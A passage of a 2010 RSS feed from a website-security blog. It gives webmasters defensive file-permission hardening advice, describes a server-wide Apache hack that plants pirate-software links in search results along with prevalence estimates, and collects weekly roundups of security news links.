<p>One more thought. If someone steals admin credentials from user&#8217;s mySql database, he can use them to grant all required permissions to some rogue mySql user. In this scenario, when the legitimate user discovers the hack and changes mySql password, the hacker will still be able to modify that database using his own mySql account. So users of compromised sites should also check who has access to their databases (do they have enough permissions on shared servers to select from system tables?) Note, my knowledge of mySql is limited so these are just thoughts aloud. If you notice flaws here, please correct me in comments.</p>
<h3 id="webmasters">To webmasters</h3>
<p>Since there is no reliable information about how this attack works and what webmaster can do to prevent hack, you should harden your sites as much as you can and hope one way or anther the security hole wil be closed.</p>
<p>MediaTemple and RackSpace provided very useful general sucurity resources that you should peruse and follow instructions found there:</p>
<ul>
<li><a href="http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise">RackSpace &#8211; Recovering from and Dealing with a Site Compromise</a> and<br />
almost identical <a href="http://wiki.mediatemple.net/w/Recovering_from_a_site_compromise">MedaTemple &#8211; Fixing an infected website &#8211; (detailed steps)</a></li>
<li><a href="http://wiki.mediatemple.net/w/%28mt%29_Security_Resources">MediaTemple &#8211; Security Resources</a></li>
<li><a href="http://cloudsites.rackspacecloud.com/index.php/File_Permissions#Cloud_Sites_Scenarios">RackSpace &#8211; File Permissions</a></li>
</ul>
<h4 id="static">Securing static content</h4>
<p>In this attack. hackers modify stand-alone <strong>.js</strong> files. Such files are considered static content since web applications don&#8217;t need to modify them. Once they are uploaded they should remain intact.</p>
<p>So here is the idea. Most people leave write permissions to owner for all files. This way, owners can modify their own files whenever they need to. So far so good. Unfortunately, all web applications (think PHP scripts) have the same write permissions when web servers use <strong>suEXEC</strong> or <strong>suPHP</strong> (this is common practice on shared servers). This means, that if web applications on your site have security holes or hackers managed to gain access to your WordPress or Joomla, it is possible for strangers to modify files on your server.</p>
<p>So why not revoke all write permissions for files that shouldn&#8217;t be modified? Just go and change permissions of your static content to <strong>444</strong>. You can go a step further, and change permissions of all files that shouldn&#8217;t be modified by your web application to <strong>400</strong> (in case of scripts) and <strong>500</strong> or <strong>555</strong> (in case directories).</p>
<p>Of course this solution has its downsides</p>
<ul>
<li>you&#8217;ll need to change permissions when you need to modify files &#8211; it&#8217;s not a problem when you modify just one file.</li>
<li>hackers can also change file permissions if they inject some php code into your scripts (say, via database or via remote script inclusion). However, only very sophisticated attack will do it (I can&#8217;t recall seeing malicious php scripts that tried to change file permissions).</li>
</ul>
<p>So this way you can make your site a bit securer at expense of some added complexity.</p>
<p>P.S. And make sure that your WordPress <strong>wp-config.php</strong> or your Joomla <strong>configuration.php</strong> files are not word-readable. Their permission should be either <strong>600</strong> or even <strong>400</strong>.</p>
<h3 id="say">Have your say</h3>
<p>Did I miss anything? I can only see those scripts from outside. There could be some less prominent internal changes. I&#8217;d like to gather all available information about this attack so that we can come up with working detection, clean up and prevention instructions.</p>
<p>Please share your thoughts and experience here. Please provide information about permission and modification dates of affected files, of configuration files (e.g. <em>wp-config.php</em> or <em>configuration.php</em>). Maybe you noticed something suspicious in access logs or in your database? Any information is welcome.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/">Attack on WordPress Blogs on RackSpace</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/">Network Solutions and WordPress Security Flaw</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
<li><a href="http://www.unmaskparasites.com/malware-warning-guide/">Practical Guide to Dealing With Google&#8217;s Malware Warnings</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=-AqXwhHTIWU:8KLtVXwumd8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=-AqXwhHTIWU:8KLtVXwumd8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=-AqXwhHTIWU:8KLtVXwumd8:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/08/malicious-ads-and-bars-on-rackspace-mediatemple/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Tweet Week: August 2-8, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/08/08/tweet-week-august-2-8-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/08/tweet-week-august-2-8-2010/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 20:14:03 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[Blind Elephant]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=664</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 3, 2010
[h-online.com] Blind Elephant leads the way in fingerprinting web applications &#8211; tool for hackers and security pros
[update] Unmask Parasites v0.5.237  http://www.UnmaskParasites.com &#8211; improved suspicious script detection
August 5, 2010
[h-online.com] Critical hole in Adobe Reader &#8211; and nobody wants [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-664"></span><br />
<span style="color: #888888;"><strong>August 3, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Blind-Elephant-leads-the-way-in-fingerprinting-web-applications-1049429.html">Blind Elephant leads the way in fingerprinting web applications</a> &#8211; tool for hackers and security pros</p>
<p style="padding-left: 30px;">[update] Unmask Parasites v0.5.237  <a rel="nofollow" href="http://www.unmaskparasites.com/" target="_blank">http://www.UnmaskParasites.com</a> &#8211; improved suspicious script detection</p>
<p><span style="color: #888888;"><strong>August 5, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Critical-hole-in-Adobe-Reader-and-nobody-wants-to-know-1050622.html">Critical hole in Adobe Reader &#8211; and nobody wants to know</a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=IJSFXVGxw94:YzlWIG0sxHI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=IJSFXVGxw94:YzlWIG0sxHI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=IJSFXVGxw94:YzlWIG0sxHI:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/08/tweet-week-august-2-8-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keygenguru .com Hack in Search Results</title>
		<link>http://blog.unmaskparasites.com/2010/08/04/keygenguru-com-hack-in-search-results/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/04/keygenguru-com-hack-in-search-results/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 20:11:39 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[goscanpark]]></category>
		<category><![CDATA[keygenguru]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=662</guid>
		<description><![CDATA[Last year I wrote about two elaborate server-wide hacks that hijacked web server (Apache) processes and intermittently served malicious content instead of requested legitimate web pages.
A year later, every now and then I still see servers affected by this sort of hack. I easily recognize recent modification of this attack when I see links to [...]]]></description>
			<content:encoded><![CDATA[<p>Last year I wrote about two elaborate <a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">server-wide hacks</a> that <a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">hijacked web server (Apache) processes</a> and intermittently served malicious content instead of requested legitimate web pages.</p>
<p>A year later, every now and then I still see servers affected by this sort of hack. I easily recognize recent modification of this attack when I see links to <span style="color: #993300;"><em>keygenguru .com</em></span> in <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> reports. Those modifications are slightly different from what I described in my <a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">goscanpark article</a>. This time not only do the malicious processes serve JavaScript redirect code but also provide some HTML with links to pirated software and movies. This HTML code gets indexed by search engines which helps hackers promote their illegal resources.</p>
<h3 id="sideefect">Side effect</h3>
<p>A side effect of this &#8220;<em>black-hat SEO modification</em>&#8221; is when people search for domain names of affected sites, they see something like this in search results:<br />
<span id="more-662"></span></p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;"><span style="color: #0000ff;">crack download</span></span><br />
serial key · serial number 249.211.87.154 Watch Avatar movie online &#8230; download movies · online movies. 51.239.154.87 &#8230; avira serial. 240.30.80.59 &#8230;<br />
<span style="color: #008000;">www.their-site-address.com/</span></p>
<p>The link address is correct, the title may be either correct or something like <em>keygen, serial key, crack download, online movies</em>, etc., and the result description is always a mix of warez keywords and random IP-addresses.</p>
<p>This side effect can help <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=5c685458966d892a&amp;hl=en">reveal the problem to webmasters</a>. They see that Google has indexed erroneous content for some reason but they can neither find it on their site nor detect any other signs of a hack. No wonder, this attack works intermittently when hackers activate it &#8212; maybe several hours per week for random requests. Moreover, it&#8217;s a server-wide exploit and any individual user account on such a server is technically not hacked. That&#8217;s why it is very difficult to detect it even for experienced server administrators.</p>
<h3 id="estimates">Prevalence estimates</h3>
<p>To estimate the prevalence of this infection I used the following Google search:</p>
<p style="padding-left: 30px;"><a href="http://www.google.com/search?q=&quot;serial+key&quot;+&quot;online+movies&quot;+&quot;avira+serial&quot;" target="_blank">&#8220;serial key&#8221; &#8220;online movies&#8221; &#8220;avira serial&#8221;</a></p>
<p>It returned <strong>3,100</strong> results. About <strong>97%</strong> of them pointed to sites affected by this hacker attack. Their cached versions show that Google had indexed them in this June and July. (<em>Warning: Don&#8217;t open the cached pages in your browser &#8211; they still contain malicious JavaScripts</em>)</p>
<p>When I downloaded them, I could extract <strong>300</strong> unique domain names from <strong>185</strong> unique IP addresses from all over the world.  Most of the IPs belong to shared servers with hundreds of sites. This means that there are currently about <strong>20,000</strong>+ potentially affected websites.</p>
<p>I use the word <em>potentially</em> because this attack is not always active. At any given moment, only a small percentage of compromised servers exhibit malicious behavior. As outside observers we can only guess if the rest servers still contain backdoor scripts that can activate the attack.</p>
<p><strong>185</strong> compromised servers is probably an underestimation. This number only takes into account servers where the malicious processes were active when Googlebot indexed sites on those servers.</p>
<h3>Server-wide searches</h3>
<p>Using IP addresses of compromised servers I can show that this is really a server-wide infection. Bing search engine allows to narrow down searches to particular IP addresses. For example, here is a search that returns affected sites on server with IP <strong>72.18.142.180</strong></p>
<p style="padding-left: 30px;"><a href="http://www.bing.com/search?q=ip%3A72.18.142.180+serial" target="_blank">ip:72.18.142.180 serial</a></p>
<h3 id="keygenguru">Keygenguru</h3>
<p>Most of the links from the indexed hacked pages point to <span style="color: #993300;"><em>keygenguru .com</em></span> site. It&#8217;s a search engine for serial numbers, keygens and other illegal pirate stuff. Its current Google PR is <strong>6</strong>. According to Compete.com,  <strong>140,000</strong> unique visitors come to this site every month. Its Alexa rank is <strong>7,019</strong> and according to Alexa, <strong>35%</strong> of its visitors come from search engines, which is about <strong>50,000</strong> visitors every month. Again, according to Alexa, the most popular search keywords are the ones that we can see on the indexed hacked pages.</p>
<p>Of course, there are many &#8220;legitimate&#8221; (if we can call them so) links to <em>keygenguru</em> from warez sites and forums, so some part of its search ranking is &#8220;deserved&#8221;. However, even if we don&#8217;t pay attention to the legitimacy of the site&#8217;s content, I suggest that search engines take a closer look at black hat SEO tricks used by this site &#8212; they definitely don&#8217;t comply with search engines&#8217; guidelines.</p>
<h3 id="webmasters">To webmasters</h3>
<p>If your site is affected by this hack (you either discover erroneous &#8220;<em>serial/keygen</em>&#8221; description in your site&#8217;s search results or see unexpected <em>keygenguru .com</em> external references along with other &#8220;pirate&#8221; links in an <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> report for your site) &#8212; this is a serious problem that only a server administrator with root access can properly resolve. As a site owner/webmaster you can either move your site to another host or notify the server administrator (hosting provider) about the problem and have them read this article and my <a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">previous article</a> that contains technical details of the attack and all the information needed to find backdoor scripts and mitigate the issue.</p>
<p>If you are interested in my list of IPs of currently affected servers, you can find it <a href="http://pastebin.com/vMEjjMWb" target="_blank">here</a> (it will expire in one month).</p>
<h3>Have your say</h3>
<p>There is still a lot remains unclear about this attack. Specifically, how this exploit manages to hijack Apache processes and if there is a reliable fix that can close the security hole. If you have any information about this issue, please share it in comments or <a href="http://blog.unmaskparasites.com/contact/">contact me</a> directly. Thanks!</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/">Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen – Elusive Web Server Exploit. (information for site owners and hosting providers)</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=m0ydkzt8jdQ:UHIZ_A7nd70:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=m0ydkzt8jdQ:UHIZ_A7nd70:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=m0ydkzt8jdQ:UHIZ_A7nd70:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/04/keygenguru-com-hack-in-search-results/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tweet Week: July 26 – August 1, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/08/01/tweet-week-july-26-august-1-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/08/01/tweet-week-july-26-august-1-2010/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 21:35:34 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[steganography]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=660</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

July 26, 2010
[stopbadware.org] Hijacked subdomains still serving malware
Are there online tools that can detect steganography in JPEG files?
July 28, 2010
RT @gcluley: Mozilla pulls password-sniffing Firefox add-on
July 29, 2010
Updated my list of Gumblar zombie URLs &#8211; now 1125 items
July 31, 2010
[techmixer.com] [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-660"></span><br />
<span style="color: #888888;"><strong>July 26, 2010</strong></span></p>
<p style="padding-left: 30px;">[stopbadware.org] <a href="http://blog.stopbadware.org/2010/07/26/hijacked-subdomains-still-serving-malware">Hijacked subdomains still serving malware</a></p>
<p style="padding-left: 30px;">Are there online tools that can detect steganography in JPEG files?</p>
<p><span style="color: #888888;"><strong>July 28, 2010</strong></span></p>
<p style="padding-left: 30px;">RT @<a rel="nofollow" href="http://twitter.com/gcluley">gcluley</a>: <a href="http://www.sophos.com/blogs/gc/g/2010/07/15/mozilla-pulls-passwordsniffing-firefox-addon/">Mozilla pulls password-sniffing Firefox add-on</a></p>
<p><span style="color: #888888;"><strong>July 29, 2010</strong></span></p>
<p style="padding-left: 30px;">Updated my <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list of Gumblar zombie URLs</a> &#8211; now 1125 items</p>
<p><span style="color: #888888;"><strong>July 31, 2010</strong></span></p>
<p style="padding-left: 30px;">[techmixer.com] <a href="http://www.techmixer.com/5-online-tools-to-detect-harmful-websites/">5 Online Tools to detect harmful Websites</a></p>
<p style="padding-left: 30px;">[lostintechnology.com] <a href="http://www.lostintechnology.com/internet-tools/7-tools-to-scan-websites-for-viruses-and-malware">7 Tools to Scan Websites for Viruses and Malware</a> via @<a rel="nofollow" href="http://twitter.com/LostInTech">LostInTech</a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=8BQ_e912eYA:tU-mb35bR_8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=8BQ_e912eYA:tU-mb35bR_8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=8BQ_e912eYA:tU-mb35bR_8:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/08/01/tweet-week-july-26-august-1-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: July 19-25, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/07/25/tweet-week-july-19-25-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/07/25/tweet-week-july-19-25-2010/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 15:41:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[milestone]]></category>
		<category><![CDATA[Soholaunch]]></category>
		<category><![CDATA[vBulletin]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=657</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

July 21, 2010
[zdnet.com] Adobe adding &#8217;sandbox&#8217; to PDF Reader to ward off hacker attacks
[h-online.com] Mozilla releases Firefox &#38; Thunderbird security updates &#8211; 14 security issues addressed in FireFox update
July 22, 2010
[badwarebusters.org] There is a  malware attack that only affects [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-657"></span><br />
<span style="color: #888888;"><strong>July 21, 2010</strong></span></p>
<p style="padding-left: 30px;">[zdnet.com] <a href="http://www.zdnet.com/blog/security/adobe-adding-sandbox-to-pdf-reader-to-ward-off-hacker-attacks/6886">Adobe adding &#8217;sandbox&#8217; to PDF Reader to ward off hacker attacks</a></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Mozilla-releases-Firefox-Thunderbird-security-updates-1042519.html">Mozilla releases Firefox &amp; Thunderbird security updates</a> &#8211; 14 security issues addressed in FireFox update</p>
<p><span style="color: #888888;"><strong>July 22, 2010</strong></span></p>
<p style="padding-left: 30px;">[badwarebusters.org] There is a  <a href="http://badwarebusters.org/main/itemview/19856">malware attack that only affects sites built with Soholaunch</a> (<a href="http://www.google.com/safebrowsing/diagnostic?site=karatepacan.co.cc/">affected sites</a> via Google diagnostics)</p>
<p style="padding-left: 30px;">Updated my <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list of Gumblar zombie URLs</a> &#8211; now 1125 items</p>
<p><span style="color: #888888;"><strong>July 23, 2010</strong></span></p>
<p style="padding-left: 30px;">[milestone] <strong>750,000</strong> web pages checked by Unmask Parasites  <a rel="nofollow" href="http://www.unmaskparasites.com/" target="_blank">http://www.UnmaskParasites.com</a></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/vBulletin-divulges-MySQL-login-1044462.html">vBulletin divulges MySQL login</a> &#8211; version 3.8.6 is vulnerable</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=jZNqLQdaOxw:DpDG5fFWVzs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=jZNqLQdaOxw:DpDG5fFWVzs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=jZNqLQdaOxw:DpDG5fFWVzs:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/07/25/tweet-week-july-19-25-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: July 12-18, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/07/18/tweet-week-july-12-18-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/07/18/tweet-week-july-12-18-2010/#comments</comments>
		<pubDate>Sun, 18 Jul 2010 15:02:23 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=655</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

July 12, 2010
A lot of WordPress blogs on RackSpace Cloud are still hacked
July 13, 2010
Someone promotes shoponline2011 site via Image search spam. Check Alexa traffic details
July 15, 2010
Just found an #nginx site that redirects search traffic  to scareware sites. [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-655"></span><br />
<span style="color: #888888;"><strong>July 12, 2010</strong></span></p>
<p style="padding-left: 30px;">A lot of WordPress blogs on RackSpace Cloud are still hacked</p>
<p><span style="color: #888888;"><strong>July 13, 2010</strong></span></p>
<p style="padding-left: 30px;">Someone promotes shoponline2011 site via <a href="http://www.google.com/support/forum/p/Web+Search/thread?tid=75123e892497b576&amp;hl=en">Image search spam</a>. Check <a href="http://www.alexa.com/siteinfo/shoponline2011.com">Alexa traffic details</a></p>
<p><span style="color: #888888;"><strong>July 15, 2010</strong></span></p>
<p style="padding-left: 30px;">Just found an <a title="#nginx" rel="nofollow" href="http://twitter.com/search?q=%23nginx">#nginx</a> site that redirects search traffic  to scareware sites. Previously, such hacks were limited to Apache (mainly)</p>
<p style="padding-left: 30px;">@<a rel="nofollow" href="http://twitter.com/baldown">baldown</a> Good point. I forgot about this config where nginx is just a reverse proxy for Apache. Thanks.</p>
<p><span style="color: #888888;"><strong>July 16, 2010</strong></span></p>
<p style="padding-left: 30px;"><a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/">WordPress Redirect Exploit</a> (on MediaTemple)  and suggested <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit">clean-up</a> (redirect to <em>qooglesearch .com</em>)</p>
<p style="padding-left: 30px;">If <a rel="nofollow" href="http://www.unmaskparasites.com/" target="_blank">http://www.UnmaskParasites.com</a> reports script from &#8220;ae.awaue .com&#8221; for your WP blog, <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit">check this</a></p>
<p style="padding-left: 30px;">[netcraft.com] <a href="http://news.netcraft.com/archives/2010/07/15/firefox-security-test-add-on-was-backdoored.html">Firefox security test add-on was backdoored</a></p>
<p><span style="color: #888888;"><strong>July 17, 2010</strong></span></p>
<p style="padding-left: 30px;">[forbes.com] <a href="http://blogs.forbes.com/firewall/2010/07/13/millions-of-home-routers-vulnerable-to-web-hack/">&#8220;Millions&#8221; Of Home Routers Vulnerable To Web Hack</a></p>
<p style="padding-left: 30px;">RT @<a rel="nofollow" href="http://twitter.com/gcluley">gcluley</a>: Video and <a href="http://www.sophos.com/blogs/chetw/g/2010/07/16/windows-day-attack-works-windows-systems/">detailed analysis of new zero-day Windows .LNK shortcut vulnerability</a> (via @<a rel="nofollow" href="http://twitter.com/ChetWisniewski">ChetWisniewski</a>)</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Tp-XF8tw7-g:T6TKLZRmWlI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Tp-XF8tw7-g:T6TKLZRmWlI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=Tp-XF8tw7-g:T6TKLZRmWlI:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/07/18/tweet-week-july-12-18-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss><!-- Dynamic page generated in 0.364 seconds. --><!-- Cached page generated by WP-Super-Cache on 2010-08-30 11:31:15 -->
